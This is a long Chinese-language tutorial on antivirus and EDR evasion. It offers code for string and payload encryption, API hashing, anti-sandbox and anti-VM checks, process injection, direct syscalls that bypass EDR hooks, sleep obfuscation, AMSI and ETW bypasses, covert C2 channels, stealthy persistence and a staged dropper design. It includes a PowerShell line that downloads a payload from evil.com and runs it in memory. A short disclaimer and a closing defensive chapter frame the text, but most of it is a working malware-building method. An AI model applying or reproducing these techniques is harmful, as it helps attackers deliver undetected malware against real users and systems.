免杀(Antivirus Evasion)是攻防对抗中最核心的课题之一。杀软(AV)和 EDR 的检测能力在持续进化,攻击者的免杀技术也在同步迭代。本文从检测原理出发,系统梳理静态免杀、动态免杀、内存免杀、流量免杀的全链路技术,覆盖从入门到高级的完整方法论。
本文的初衷是帮助安全从业者理解免杀技术,从而更好地构建防御体系。所有技术均应在合法授权范围内使用。
第一章:杀软与 EDR 的检测原理
1.1 检测技术栈
要绕过检测,先理解检测。杀软和 EDR 的工作方式分为以下层次:
杀软/EDR检测技术栈:
┌──────────────────────────────────────┐
│ 第五层: 行为分析/ML │
│ 进程链分析、行为序列、机器学习模型 │
├──────────────────────────────────────┤
│ 第四层: 动态启发式 │
│ 沙箱执行、API监控、内存扫描 │
├──────────────────────────────────────┤
│ 第三层: 静态启发式 │
│ 代码分析、导入表分析、熵值检测 │
├──────────────────────────────────────┤
│ 第二层: 特征码匹配 │
│ 文件哈希、字节序列、字符串匹配 │
├──────────────────────────────────────┤
│ 第一层: 信誉与云查 │
│ 文件签名、下载来源、云沙箱、VT联动 │
└──────────────────────────────────────┘
1.2 各层检测的绕过思路
检测层 | 检测什么 | 绕过思路(全文核心) |
|---|
特征码 | 字节序列、字符串、Hash | 加密/编码/混淆/变形/加壳 |
静态启发 | 导入表、API 调用模式、资源 | API 动态解析、导入表混淆、延迟导入 |
动态启发 | 沙箱行为 | 反沙箱(延时/环境检测/用户交互检测) |
行为分析 | 进程链、父子关系 | PPID 欺骗、进程注入、LOLBin |
内存扫描 | 内存中的恶意代码 | 分段加载、内存加密、回调注入 |
云查/信誉 | 文件签名、VT 上传 | 签名伪造、数字签名、分阶段投递 |
第二章:静态免杀——让文件看起来无害
2.1 字符串加密与隐藏
杀软最常见的特征码匹配之一:敏感字符串。
| // ====== 未处理(杀软一眼识别) ======
char* cmd = "powershell -WindowStyle Hidden -EncodedCommand SQBFAFgA...";
char* url = "http://evil-c2.com/payload";
char* key = "AES-256-CBC";
// 这些字符串直接出现在二进制中 → 特征库匹配 → 查杀
// ====== 方法1: XOR加密(运行时解密) ======
char encrypted_cmd[] = {
0x10, 0x2E, 0x3F, 0x41, 0x55, 0x62, 0x7E, 0x8A, // 每字节XOR 0x5A
// ...
};
void decrypt_string(char* buf, int len, char key) {
for (int i = 0; i < len; i++) {
buf[i] ^= key;
}
}
// 使用时: decrypt_string(encrypted_cmd, sizeof(encrypted_cmd), 0x5A);
// system(encrypted_cmd);
// ====== 方法2: 栈字符串(编译时XOR) ======
// 用宏在编译时自动加密,运行时自动解密
#define STACKSTR(var, str) \
char var[] = { ENCRYPT_STR(str) }; \
XOR_DECRYPT(var, sizeof(var));
// ====== 方法3: Base64 + 自定义表(打乱标准Base64字符集) ======
const char custom_b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
// → 替换字符顺序,使标准base64_decode失效
// → 无法通过base64识别原始内容
// ====== 方法4: 白加黑——利用合法程序的字符串 ======
// 不自己写敏感字符串
// 劫持合法DLL → 合法DLL本身有正常的字符串
// 内存中动态构造敏感字符串
|
2.2 导入表混淆
杀软的静态启发式会分析 PE 文件的导入表(IAT),寻找危险 API 的组合。
正常程序导入的API:
kernel32.dll → CreateFile, ReadFile, WriteFile, CloseHandle ← 正常
恶意程序导入的API:
kernel32.dll → VirtualAlloc, VirtualProtect, WriteProcessMemory, CreateRemoteThread
↑ 高危API组合
动态解析 API 地址(最基础的免杀手段)
| // ====== 反模式: 静态导入危险API ======
#include <windows.h>
// 编译后的IAT中直接包含 VirtualAlloc, CreateRemoteThread 等
// → 杀软一看IAT就知道了
// ====== 正模式: 运行时动态解析 ======
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect
);
typedef HANDLE (WINAPI *pCreateRemoteThread)(
HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId
);
// 1. 获取kernel32.dll的基址(通过PEB遍历)
HMODULE GetKernel32() {
// 从PEB的InMemoryOrderModuleList中遍历找到kernel32.dll
// PEB → PEB_LDR_DATA → InMemoryOrderModuleList → kernel32.dll
PPEB peb = (PPEB)__readgsqword(0x60); // x64
PLDR_DATA_TABLE_ENTRY ldrEntry = (PLDR_DATA_TABLE_ENTRY)
peb->Ldr->InMemoryOrderModuleList.Flink;
while (ldrEntry->DllBase != NULL) {
// 比较DLL名称 → 找到kernel32.dll
}
}
// 2. 从kernel32.dll导出表中查找GetProcAddress
// 3. 用GetProcAddress获取LoadLibraryA
// 4. 用LoadLibraryA加载其他DLL
// 5. 通过GetProcAddress获取所有需要的API
// 最终IAT中只有kernel32.dll的3-4个基础API
// 所有危险API全部动态解析 → 绕过IAT检测
|
按 Hash 解析 API(更进一步)
| // 不在代码中保留API名称字符串,改用Hash比较
// 遍历导出表时: hash(导出函数名) == 目标hash → 找到目标
DWORD HashString(char* str) {
DWORD hash = 0;
while (*str) {
hash = ((hash >> 13) | (hash << 19)) + *str++;
}
return hash;
}
// 预计算的hash值(编译时手动算好)
#define HASH_VirtualAlloc 0x91AFCA54
#define HASH_CreateThread 0x78B0D62E
#define HASH_NtAllocateVirtualMemory 0xF783B8EC
// ...
PVOID GetProcByHash(HMODULE hModule, DWORD targetHash) {
// 遍历导出表 → 比较每个函数名的hash → 匹配则返回地址
// 完全避免了字符串匹配检测
}
|
2.3 Payload 加密存储
| // ====== 五层加密方案 ======
// Layer 1: 选择加密算法
// AES-256-CBC → 加密shellcode/EXE/DLL
// 密钥: 从环境变量/注册表/本地文件中读取(不硬编码)
// Layer 2: 分片存储
// 将加密后的payload切割成多块
// 每块存储在不同位置: 资源段、.data段、注册表、环境变量
// Layer 3: 密钥派生
// key = Hash(机器名 + 用户名 + 特定注册表值)
// 确保密钥在不同机器上不同 → 沙箱分析时解密失败
BYTE* derive_key() {
char hostname[256];
DWORD size = sizeof(hostname);
GetComputerNameA(hostname, &size);
char username[256];
size = sizeof(username);
GetUserNameA(username, &size);
char combined[512];
snprintf(combined, sizeof(combined), "%s:%s:SPECIAL_SALT", hostname, username);
// SHA256 hash作为AES密钥
// ...
}
// Layer 4: 运行时解密后分段加载到内存
// 将payload分5段 → 分别VirtualAlloc到不同内存区域
// → 每段内存独立 → 内存扫描难以拼凑完整payload
// Layer 5: 使用后立即擦除
// 执行完一段 → memset清零 → VirtualFree释放
|
2.4 资源段隐藏 Payload
| // ====== 将恶意Payload藏在PE资源段 ======
// 1. 创建资源脚本 (.rc文件)
// IDR_SHELLCODE_BIN RCDATA "encrypted_payload.bin"
// IDR_SHELLCODE_KEY RCDATA "key.bin"
// 2. 编译时自动嵌入
// windres resource.rc -o resource.o
// 3. 运行时提取
HRSRC hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE_BIN), RT_RCDATA);
HGLOBAL hResData = LoadResource(NULL, hResInfo);
DWORD payloadSize = SizeofResource(NULL, hResInfo);
LPVOID payloadData = LockResource(hResData);
// 4. 解密后执行
BYTE* decrypted = (BYTE*)VirtualAlloc(NULL, payloadSize, MEM_COMMIT, PAGE_READWRITE);
AES_Decrypt(payloadData, decrypted, payloadSize, key);
VirtualProtect(decrypted, payloadSize, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())decrypted)(); // 执行shellcode
// 优势:
// - Payload不在.data/.text段 → 静态分析不直接看到
// - 可以用多段资源片段分散存储
// - 资源可以被压缩(减小文件体积)
|
2.5 代码混淆与控制流平坦化
| // ====== 原始代码(清晰的逻辑) ======
void malware_main() {
download_payload();
decrypt_payload();
inject_payload();
persist();
communicate_c2();
}
// ====== 控制流平坦化(Control Flow Flattening) ======
void malware_main_obfuscated() {
int state = 0xDEAD;
while (state != 0xBEEF) {
switch (state) {
case 0xDEAD:
// 无意义的计算凑数
int tmp = (GetTickCount() * 1337) % 9999;
state = (tmp > 5000) ? 0x1234 : 0x5678;
break;
case 0x1234:
// 真正的download_payload被拆成多块
state = do_download_part1();
break;
case 0x5678:
// 插入反沙箱检测
if (is_sandbox()) {
state = 0x9999; // 退出
} else {
state = 0xABCD;
}
break;
case 0xABCD:
// 真正的decrypt + inject
state = do_evil_stuff();
break;
// ... 更多状态
}
}
}
// LLVM Obfuscator (OLLVM) 可以自动实现:
// 1. 控制流平坦化 (-mllvm -fla)
// 2. 指令替换 (-mllvm -sub)
// 3. 虚假控制流 (-mllvm -bcf)
// 4. 字符串加密 (-mllvm -sobf)
|
2.6 花指令(Junk Code)
| ; ====== 插入无意义的花指令干扰反汇编器 ======
; 原始指令:
mov eax, [esp+4]
add eax, 1
ret
; 插入花指令后:
mov eax, [esp+4]
jz label1 ; 永假跳转(但反汇编器不一定能判断)
jnz label2 ; 永真跳转(跳到真正的下一条)
label1:
db 0xE8 ; 垃圾字节(反汇编器误解析为call指令)
label2:
add eax, 1
call $+5 ; 调用下一条指令地址 → push返回地址但不影响执行
add esp, 4 ; 平衡栈(清理上面call压入的返回地址)
ret
; 效果: IDA/Ghidra的反汇编输出被打乱
; 静态分析人员需要花更多时间清理花指令
|
2.7 PE 文件变形
| // ====== PE结构微调绕过Hash检测 ======
// 1. 修改TimeDateStamp
// PE头中的时间戳 → 每次编译生成不同的值
// 2. 修改节名称
// .text → .code, .data → .dat1, .rdata → .rdat
// 3. 增加无用节(Section)
// 在PE中插入一个名为 .junk 或 .pad 的空节
// 改变文件的整体Hash
// 4. 修改DOS Stub
// PE头中的DOS Stub内容可以任意修改
printf("This program cannot be run in DOS mode.\r\n");
// 改为:
printf("Hello World! Please use Windows.\r\n");
// 5. 修改链接器版本和特性
// PE可选头中的MajorLinkerVersion/MinorLinkerVersion
// 修改这些不影响执行但改变Hash的字段
// 6. 增加Overlay数据(PE尾部附加随机数据)
// 在PE文件末尾追加随机字节
// 改变文件Hash但程序完全不受影响
|
第三章:动态免杀——让沙箱分析失败
3.1 反沙箱技术
沙箱模拟环境执行可疑文件,监控其行为。绕过沙箱的核心思路是让恶意行为在沙箱中不触发。
| // ====== 1. 延时执行——等待沙箱超时 ======
// 大多数沙箱有分析时间限制(通常2-5分钟)
void delayed_execution() {
DWORD start = GetTickCount();
// 等待300秒(5分钟)
while (GetTickCount() - start < 300000) {
Sleep(1000);
// 做一些无意义的计算来迷惑CPU监控
volatile int x = 0;
for (int i = 0; i < 1000000; i++) { x += i; }
}
// 沙箱超时退出后 → 真正Payload才开始执行
real_malware_main();
}
// ====== 2. 用户交互检测——沙箱通常无交互 ======
BOOL is_user_present() {
// 检测鼠标移动
POINT prevPos, currPos;
GetCursorPos(&prevPos);
Sleep(30000); // 等待30秒
GetCursorPos(&currPos);
// 如果30秒内鼠标没有移动 → 很可能是沙箱
if (prevPos.x == currPos.x && prevPos.y == currPos.y) {
return FALSE;
}
// 检测键盘活动
LASTINPUTINFO lii;
lii.cbSize = sizeof(LASTINPUTINFO);
GetLastInputInfo(&lii);
// 如果5分钟内没有键盘输入 → 可疑
if (GetTickCount() - lii.dwTime > 300000) {
return FALSE;
}
return TRUE;
}
// ====== 3. 环境特征检测 ======
BOOL is_sandbox() {
// 检测1: 磁盘大小(沙箱通常<60GB)
ULARGE_INTEGER totalBytes;
GetDiskFreeSpaceExA("C:\\", NULL, &totalBytes, NULL);
ULONGLONG totalGB = totalBytes.QuadPart / (1024 * 1024 * 1024);
if (totalGB < 60) return TRUE;
// 检测2: 内存大小(沙箱通常<4GB)
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memInfo);
if (memInfo.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) return TRUE;
// 检测3: CPU核心数(沙箱通常1-2核)
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if (sysInfo.dwNumberOfProcessors < 2) return TRUE;
// 检测4: 屏幕分辨率(沙箱常见1024x768或更低)
int screenX = GetSystemMetrics(SM_CXSCREEN);
int screenY = GetSystemMetrics(SM_CYSCREEN);
if (screenX < 1280 || screenY < 800) return TRUE;
// 检测5: 虚拟机特征
// VMware MAC: 00:0C:29, 00:50:56, 00:05:69
// VirtualBox MAC: 08:00:27
// 检测DMI信息: "VMware", "VirtualBox", "QEMU"
// 检测VMware Tools进程: vmtoolsd.exe
// 检测6: 运行时间(沙箱通常是刚启动的)
if (GetTickCount() < 600000) return TRUE; // <10分钟
// 检测7: 用户文件夹中文件数量
// 沙箱的Document/Desktop通常很空
// 真实用户有大量文件
// 检测8: 是否有常见杀软进程
// 真实主机通常有杀软 → 沙箱可能没有
return FALSE; // 通过所有检测 → 大概率真实环境
}
// ====== 4. 网络环境检测 ======
BOOL check_network() {
// 沙箱网络往往是受限或模拟的
// 尝试解析一些域名看是否正常
// 尝试连接知名网站(baidu.com/google.com)是否成功
// Wireshark/TCPView存在的检测
// 沙箱分析环境常安装这些工具
}
// ====== 5. 调试器检测 ======
BOOL is_debugger_present() {
// 方法1: IsDebuggerPresent()
if (IsDebuggerPresent()) return TRUE;
// 方法2: PEB中的BeingDebugged标志
// __readgsqword(0x60) + 0x2 → BeingDebugged
// 方法3: NtGlobalFlag
// PEB+0xBC → NtGlobalFlag & 0x70 != 0
// 方法4: NtQueryInformationProcess(ProcessDebugPort)
// 方法5: CloseHandle(INVALID_HANDLE_VALUE) 触发异常
// 方法6: 时间检测 - 单步执行会显著变慢
// 方法7: int 2d / int 3 调试中断
return FALSE;
}
|
3.2 反虚拟机检测
| // ====== VMWare检测 ======
BOOL is_vmware() {
// 1. MAC地址前缀
// VMware: 00:0C:29, 00:50:56, 00:05:69
// 2. 注册表
// HKLM\SOFTWARE\VMware, Inc.\VMware Tools
// 3. 进程
// vmtoolsd.exe, vmwaretray.exe
// 4. BIOS信息
// "VMware", "VMware7,1"
// 5. CPUID指令
// cpuid(0x40000000) → hypervisor vendor string
// "VMwareVMware" → VMware
// 6. 通信端口
// VMware I/O port: 0x5658 ("VX")
__try {
__asm {
mov eax, 'VMXh'
mov ecx, 0Ah
mov dx, 0x5658
in eax, dx
}
return TRUE; // VMware响应了
} __except(EXCEPTION_EXECUTE_HANDLER) {}
return FALSE;
}
// ====== VirtualBox检测 ======
BOOL is_virtualbox() {
// 1. MAC: 08:00:27
// 2. 进程: VBoxService.exe, VBoxTray.exe
// 3. 注册表: HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
// 4. DMI: "VirtualBox"
// 5. PCI设备: VEN_80EE (VirtualBox PCI vendor)
return FALSE;
}
|
EDR 会监控进程树:Word → cmd → PowerShell → 恶意行为。打乱这个进程链可以混淆 EDR。
传统进程链(容易被EDR告警):
winword.exe → powershell.exe → rundll32.exe → 恶意行为
↑ EDR告警: Office创建了PowerShell子进程
COM劫持进程链(更难追踪):
winword.exe → COM调用 → dllhost.exe(svchost) → 恶意行为
↑ 通过COM间接创建 → 父子关系被打破
| // COM劫持: 修改CLSID注册表
// HKCU\Software\Classes\CLSID\{GUID}\LocalServer32
// → 指向恶意DLL
// 当合法程序调用该COM对象时 → 恶意DLL被加载
// → 恶意代码在合法进程中执行
|
第四章:内存免杀——让内存扫描失效
4.1 进程注入技术全家桶
| // ====== 1. 经典CreateRemoteThread注入 ======
// 最经典也最容易被检测
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, payloadSize,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, payload, payloadSize, NULL);
VirtualProtectEx(hProcess, remoteMem, payloadSize, PAGE_EXECUTE_READ, &oldProtect);
CreateRemoteThread(hProcess, NULL, 0, remoteMem, NULL, 0, NULL);
// EDR检测点: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 组合
// ====== 2. NtCreateThreadEx(更底层,绕过部分Hook) ======
// kernel32的CreateRemoteThread → 底层调用ntdll的NtCreateThreadEx
// 有些杀软Hook了kernel32但没Hook ntdll
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG,
SIZE_T, SIZE_T, SIZE_T, PVOID
);
// 从ntdll.dll动态获取NtCreateThreadEx → 直接调用syscall
// ====== 3. 进程镂空 (Process Hollowing) ======
// 启动一个挂起状态的新进程(如svchost.exe)
// → 卸载其原始代码 → 注入恶意代码 → 恢复执行
// → 进程名正常,但代码是恶意的
CreateProcessA("C:\\Windows\\System32\\svchost.exe", ...,
CREATE_SUSPENDED, ..., &pi);
// 1. 获取挂起进程的上下文
// 2. 从PEB中拿到ImageBase
// 3. NtUnmapViewOfSection → 卸载原始镜像
// 4. VirtualAllocEx → 分配新内存
// 5. WriteProcessMemory → 写入恶意PE
// 6. SetThreadContext → 修改入口点
// 7. ResumeThread → 恢复执行
// → svchost.exe运行的是木马代码
// ====== 4. APC注入 (Asynchronous Procedure Call) ======
// 在目标线程的APC队列中插入恶意代码
// 线程下次调度时自动执行 → 不需要CreateRemoteThread
QueueUserAPC(payload, hThread, 0);
// 优点: 线程已经有正常上下文,不像新线程那样突然出现
// ====== 5. 线程劫持 (Thread Hijacking) ======
// 暂停目标进程的一个现有线程
// → 修改线程上下文中的RIP/EIP指向shellcode
// → 恢复线程 → 在现有线程中执行恶意代码
SuspendThread(hThread);
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)remoteShellcode; // x64
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
// 没有创建新线程 → 绕过了"检测远程线程创建"的EDR规则
// ====== 6. Atom Bombing ======
// 利用Windows全局Atom表传递shellcode
// A. 将shellcode写入Global Atom Table
GlobalAddAtomA(shellcode_chunk);
// B. 利用GlobalGetAtomNameA在目标进程中读取
// C. 配合APC注入执行
// ====== 7. 回调注入(绕过CreateRemoteThread检测) ======
// 利用SetWinEventHook → 设置全局事件钩子
// → 事件触发时系统自动在目标进程中执行回调函数
SetWinEventHook(EVENT_OBJECT_CREATE, EVENT_OBJECT_CREATE,
NULL, shellcode, targetPid, targetTid,
WINEVENT_OUTOFCONTEXT);
// 还有:
// - SetThreadpoolTimer → 线程池定时器回调
// - QueueUserWorkItem → 线程池工作项回调
// - CertEnumSystemStore → 证书枚举回调
// - CreateTimerQueueTimer → 定时器回调
|
4.2 Syscall 直通——绕过用户态 Hook
EDR 通过 Hook ntdll.dll 中的函数来监控系统调用。直接使用 syscall 指令可以完全绕过这些 Hook。
| // ====== EDR Hook工作原理 ======
// ntdll.dll中的NtAllocateVirtualMemory:
// 原始: mov r10, rcx; mov eax, 0x18; syscall; ret
// EDR Hook后: jmp <EDR的检测代码>; ...; jmp 原始代码
// EDR在每次syscall前检查参数和行为
// ====== 绕过: 直接构造syscall ======
// 方法1: 直接内联汇编发起syscall
__asm {
mov r10, rcx // NtAllocateVirtualMemory的syscall号
mov eax, 0x18 // Syscall ID for NtAllocateVirtualMemory
syscall // 直接进入内核,绕过ntdll Hook
ret
}
// 方法2: 从ntdll.dll读取syscall ID (SNR)
// 不同Windows版本的syscall号不同
DWORD get_syscall_id(char* funcName) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PVOID funcAddr = GetProcAddress(ntdll, funcName);
// 从函数开头读取: mov r10, rcx; mov eax, <SNR>; ...
// 提取syscall号
return *(DWORD*)((BYTE*)funcAddr + 4); // syscall号在偏移4处
}
// 方法3: Hell's Gate技术
// 动态解析ntdll → 即使在已经被Hook的情况下
// 通过读取磁盘上的ntdll.dll → 拿到原始syscall号
// → 构造syscall调用
// 方法4: Halo's Gate (Hell's Gate改进版)
// 如果目标函数的Hook导致无法获取syscall号
// → 从相邻函数的syscall号推算(相邻函数syscall号连续或规律)
// 方法5: 间接syscall
// 不直接call syscall指令
// 而是在ntdll中找一个syscall;ret的地址
// jmp到那个地址 → ntdll的代码段 → 绕过对"非ntdll执行syscall"的检测
|
4.3 内存加密与 Sleep Obfuscation
| // ====== Sleep Obfuscation (睡眠混淆) ======
// EDR会定期扫描进程内存
// 在sleep期间加密内存 → EDR扫描到的是加密数据
void obfuscated_sleep(DWORD milliseconds) {
// 1. 保存当前执行位置和shellcode区域
// 2. XOR/AES加密整个shellcode内存区域
// 3. 修改内存权限为PAGE_NOACCESS(让扫描也读不到)
// 4. Sleep(毫秒)
// 5. 修改内存权限回PAGE_EXECUTE_READ
// 6. 解密shellcode
// 7. 继续执行
// 实际实现:
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(shellcode_addr, &mbi, sizeof(mbi));
// 加密
xor_encrypt(shellcode_addr, shellcode_size, sleep_key);
// 设为不可访问
DWORD oldProtect;
VirtualProtect(shellcode_addr, shellcode_size, PAGE_NOACCESS, &oldProtect);
// 睡眠(此时EDR无法读取shellcode区域)
Sleep(milliseconds);
// 恢复
VirtualProtect(shellcode_addr, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
xor_decrypt(shellcode_addr, shellcode_size, sleep_key);
}
// ====== Ekko/堆栈混淆 ======
// 利用计时器队列 + 异步过程调用
// 在sleep期间用定时器回调来定期加密/解密内存
// 更隐蔽的睡眠混淆方案
|
第五章:流量免杀——让 C2 通信不可见
5.1 C2 通信伪装
| # ====== 1. 伪装正常Web流量 ======
# 模仿常见应用的API请求模式
# 请求格式完全模拟:
# - 微软Teams/Office 365 API
# - Google Analytics
# - 微信公众平台API
# - 钉钉/飞书开放平台API
# 流量特征:
# - 正常的User-Agent
# - 正常的Accept/Content-Type头
# - 请求体格式符合对应平台的JSON/Form规范
# - 加密payload藏在合法字段中
# ====== 2. CDN前置C2 ======
# C2服务器藏在Cloudflare/Akamai/阿里云CDN后面
# 受害者 → CDN → 真实C2
# EDR看到的连接目标: 知名CDN的IP → 被放行
# ====== 3. 域前置 (Domain Fronting) ======
# 利用CDN的SNI和Host不一致
# SNI: www.trusted-site.com(正常域名)
# Host: evil-c2.real-attacker.com(真实C2域名)
# CDN根据Host转发到真实C2
# 中间设备看到的SNI是正常域名 → 放行
# ====== 4. 社交平台作为C2 ======
# 使用Twitter/GitHub/Telegram/Discord作为通信中继
# - GitHub Gist/Issue → 下发命令
# - Twitter DM → 回传数据
# - Discord Bot → 实时控制
# - 钉钉/飞书机器人 → 国内隐蔽通道
# ====== 5. DNS隧道 ======
# C2通信完全通过DNS协议
# A记录查询: <base64_encoded_data>.c2.example.com
# TXT记录响应: 下发base64编码的命令
# ====== 6. ICMP隧道 ======
# 利用ICMP的Data字段传输数据
# 正常ping只有32-56字节数据
# 隧道ping有1000+字节数据 → 需伪装
|
5.2 JA3/JA4 指纹对抗
| # TLS Client Hello中的指纹
# 默认的WinHTTP/WinINET JA3指纹被EDR标记为可疑
# 方法1: 修改TLS密码套件顺序
# 使用自定义的cipher suite列表 → 改变JA3指纹
# 方法2: 使用非默认的TLS扩展
# 添加ALPN/SNI/等扩展 → 改变指纹
# 方法3: 完全模拟浏览器TLS指纹
# 使用Chrome/Firefox的JA3指纹
# 使用Chromium Embedded Framework(CEF)
# 或编译Chrome网络栈
# 方法4: 自定义TLS实现
# 不依赖操作系统的TLS库
# 自己实现TLS握手 + 自定义参数
|
第六章:各语言免杀实战
6.1 C/C++免杀
| // 完整免杀框架设计要点:
// 1. 使用CMake的Release + LTO + Strip
// 2. 所有字符串XOR
// 3. 所有API动态解析
// 4. 导入表最小化 (只保留3-5个基础API)
// 5. 反调试/反沙箱/反虚拟机
// 6. 分段payload加载
// 7. 内存运行时加密
// 8. 不使用CreateRemoteThread(用回调代替)
// 9. syscall直通
// 编译优化:
// cl /O2 /GL /GS- /Gy /MT /link /LTCG /OPT:REF /OPT:ICF
|
6.2 C#免杀
| // ====== C#免杀要点 ======
// 1. 不使用Assembly.Load (已被重点监控)
// 替代: 使用AppDomain.CurrentDomain.AssemblyResolve事件
// 或者使用Assembly.Load(byte[], byte[])重载
// 2. DllImport动态解析
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(...);
// 改为:
delegate IntPtr VirtualAllocDelegate(...);
IntPtr kernel32 = LoadLibrary("kernel32.dll");
IntPtr funcPtr = GetProcAddress(kernel32, "VirtualAlloc");
VirtualAllocDelegate VirtualAlloc =
Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(funcPtr);
// 3. AMSI绕过
// .NET的AMSI会扫描Assembly.Load加载的内容
// 需要先patch AMSI
// 方法:
// - AmsiInitialize → 找到AmsiScanBuffer → patch开头返回AMSI_RESULT_CLEAN
// - 或使用amsi.fail技术
// 4. ETW绕过
// ETW (Event Tracing for Windows) 记录.NET运行时事件
// patch EtwEventWrite → 直接返回
// 或者设置环境变量 COMPlus_ETWEnabled=0
// 5. 混淆
// ConfuserEx / Obfuscar / .NET Reactor
// 字符串加密 + 控制流混淆 + 反篡改 + 资源加密
|
6.3 PowerShell 免杀
| # ====== PowerShell免杀要点 ======
# 1. 不使用字符串形式的IEX
# 反模式: IEX(New-Object Net.WebClient).DownloadString(...)
# 正模式:
$w = New-Object Net.WebClient
$d = $w.DownloadData('http://evil.com/payload.bin')
$asm = [System.Reflection.Assembly]::Load($d)
$asm.EntryPoint.Invoke($null, $null)
# 2. 编码绕过
# Base64编码: -EncodedCommand
# 自定义XOR编码(运行时解码后eval)
# 3. 拆解执行
# 将payload分片 → 多步拼接 → 最后执行
$p1 = "I"; $p2 = "E"; $p3 = "X"
$cmd = $p1 + $p2 + $p3
# 4. AMSI绕过
# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 5. 无文件执行
# 反射加载.NET Assembly到内存
# 或使用Invoke-ReflectivePEInjection
|
6.4 Go 免杀
| // Go编译的二进制体积大 → 容易被特征码盯上
// 1. 使用garble混淆编译
// garble -literals -tiny build -ldflags="-s -w" main.go
// -literals: 替换字符串字面量
// -tiny: 移除调试信息
// 2. 延迟syscall实现
// 不使用golang.org/x/sys/windows
// 直接用汇编syscall
// 3. 避免Go运行时特征
// Go的调度器、GC、内存分配有自己的模式
// 可以用-no-builtin减少Go运行时特征
// 4. SYSCALL封装
// Go代码 → cgo → C → syscall
// 破坏Go本身的调用模式
|
第七章:实战免杀框架设计
7.1 分段加载架构
高级免杀框架架构:
阶段0: Dropper (投递器)
├── 极其简单的代码(几乎无恶意特征)
├── 功能: 下载下一阶段 + 验证环境
├── 反沙箱检测(本章3.1节全量)
└── 密钥派生(从环境获取密钥)
阶段1: Loader (加载器)
├── 从阶段0接收加密的stage2
├── 内存中解密
├── 反射加载(PE/DLL/shellcode)
└── 执行后自毁(ZeroMemory覆盖)
阶段2: Core (核心木马)
├── 真正的恶意功能
├── C2通信 + 加密流量
├── 持久化机制
└── 数据窃取/远程控制
每一阶段独立编译、独立加密、独立免杀处理
任一阶段被查杀 → 只需替换该阶段
7.2 持久化免杀
| // ====== 绕过Autoruns检测的持久化方案 ======
// 1. 劫持合法计划任务
// 不创建新计划任务 → 修改已有的系统计划任务
// 修改任务"Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"
// 的操作为: 先执行恶意程序 → 再执行原始程序
// 2. WMI事件订阅(隐蔽性极高)
// 创建 __EventFilter + __EventConsumer + __FilterToConsumerBinding
// 在特定事件(如进程启动、服务启动)时触发恶意代码
// Autoruns等工具难以枚举
// 3. COM劫持
// 修改CLSID的InprocServer32 → 指向恶意DLL
// 当合法程序调用COM → 恶意DLL被加载
// 常见劫持:
// - 任务栏 (explorer.exe在启动时调用多个COM)
// - Shell Extension → 资源管理器调用
// 4. 服务持久化(伪装系统服务名)
// 服务名: MicrosoftEdgeUpdate, WindowsDefenderUpdater 等
// 模仿正常服务名 → 人工排查时容易被忽略
// 5. Bootkit/UEFI持久化(最高级)
// 固件级别的持久化 → 重装系统也无法清除
// 但难度极高,留给APT级别的
|
第八章:免杀效果测试与验证
8.1 检测工具矩阵
| # === 本地检测 ===
# Windows Defender (最基础的测试)
# Kaspersky / Bitdefender / ESET (高强度测试)
# === 在线多引擎扫描 ===
# VirusTotal (注意: 样本会上传到各家杀软!)
# https://www.virustotal.com/
# 使用前确认样本不会泄露
# AntiScan.Me
# https://antiscan.me/
# NoDistribute
# https://nodistribute.com/ (不分发样本)
# === EDR测试 ===
# Elastic EDR (免费层)
# Wazuh (开源EDR)
# Microsoft Defender for Endpoint (MDE) 评估版
# === 沙箱测试 ===
# Any.Run (交互式)
# Joe Sandbox
# Hybrid Analysis
# Triage
# CAPE Sandbox (自建)
# === 内存扫描测试 ===
# Pe-sieve (检测进程注入)
# Moneta (内存取证)
# mal_unpack (脱壳检测)
|
8.2 测试流程
免杀测试标准流程:
1. 静态扫描
├── 上传VT → 查看静态检测率
├── 使用capa/CAPA分析提取的特征
└── 使用pestudio查看导入表和字符串
2. 沙箱分析
├── Any.Run → 查看行为是否被识别
├── 如果沙箱捕获了恶意行为 → 回到第三章加强反沙箱
└── 如果沙箱超时未检测到 → 反沙箱有效
3. 动态执行
├── 本地VM + ProcMon → 看行为链
├── 本地VM + EDR → 是否触发告警
└── 本地VM + AV实时防护 → 执行时是否被拦截
4. 内存分析
├── Pe-sieve → 检测注入的代码
├── Moneta → 检测可疑内存区域
└── 如果有告警 → 回到第四章加强内存免杀
第九章:防御视角
9.1 如何检测免杀木马
检测思路(防御方):
1. 不依赖文件Hash → 关注行为
├── 进程链异常: Office → cmd → PowerShell
├── 内存分配: VirtualAlloc + RW → RX权限变化
└── 进程注入: 跨进程内存写入
2. 关注syscall直调
├── 非ntdll代码段执行syscall指令
└── Unbacked内存(未映射到磁盘文件的虚拟内存)上的代码执行
3. 关注延迟执行模式
├── 大量Sleep后突然的行为变化
